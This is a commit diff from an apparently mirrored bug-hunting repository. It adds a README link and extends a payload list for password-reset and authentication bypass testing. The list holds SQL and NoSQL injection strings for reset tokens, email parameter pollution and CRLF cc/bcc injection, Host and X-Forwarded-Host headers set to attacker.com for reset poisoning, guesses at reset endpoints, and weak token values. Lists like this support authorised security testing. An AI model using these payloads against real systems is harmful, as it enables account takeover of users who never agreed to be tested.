mirror of
https://github.com/0x5t4l1n/hunting.git
synced 2026-05-26 11:35:51 +00:00
Add comprehensive password reset vulnerability payloads and PoC documentation
Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
This commit is contained in:
@@ -14,5 +14,8 @@ Authentication bypass vulnerabilities allow an attacker to gain access to a syst
|
||||
## Testing Approach
|
||||
Test authentication mechanisms for logical flaws, parameter manipulation, and bypass techniques that allow unauthorized access.
|
||||
|
||||
## Related Resources
|
||||
For comprehensive password reset vulnerability testing, see the **[Password Reset](../Password-Reset/)** directory which contains detailed PoC examples and specialized payloads for password reset attacks.
|
||||
|
||||
## Payloads
|
||||
See `auth-bypass-payloads.txt` for a comprehensive list of authentication bypass payloads and techniques.
|
||||
|
||||
@@ -119,6 +119,50 @@ token=&email=attacker@example.com
|
||||
token=0
|
||||
token=null
|
||||
token=false
|
||||
token=undefined
|
||||
token=%20
|
||||
token=true
|
||||
email[]=victim@example.com&email[]=attacker@example.com
|
||||
email=victim@example.com%0Acc:attacker@example.com
|
||||
email=victim@example.com%0Abcc:attacker@example.com
|
||||
|
||||
# Password reset token manipulation
|
||||
reset_token=' OR '1'='1
|
||||
reset_token={"$gt": ""}
|
||||
reset_token=*
|
||||
reset_token=admin'--
|
||||
user_id=1&token=valid_token
|
||||
user_id=999&token=valid_token
|
||||
|
||||
# Host header injection for password reset poisoning
|
||||
Host: attacker.com
|
||||
X-Forwarded-Host: attacker.com
|
||||
X-Host: attacker.com
|
||||
|
||||
# Password reset without verification
|
||||
new_password=Pass123&confirm_password=Pass123
|
||||
# (without providing reset token or current password)
|
||||
|
||||
# Password reset endpoint enumeration
|
||||
POST /api/password/reset
|
||||
POST /api/v1/auth/password-reset
|
||||
POST /password-reset
|
||||
POST /forgot-password
|
||||
POST /reset-password
|
||||
PUT /api/users/password
|
||||
PATCH /account/password
|
||||
|
||||
# Weak token brute force
|
||||
token=000000
|
||||
token=111111
|
||||
token=123456
|
||||
token=0000
|
||||
token=1234
|
||||
|
||||
# Bypass email verification in reset
|
||||
email_verified=true
|
||||
verified=true
|
||||
skip_verification=true
|
||||
|
||||
# OTP/2FA bypass
|
||||
otp=000000
|
||||
|
||||
Reference in New Issue
Block a user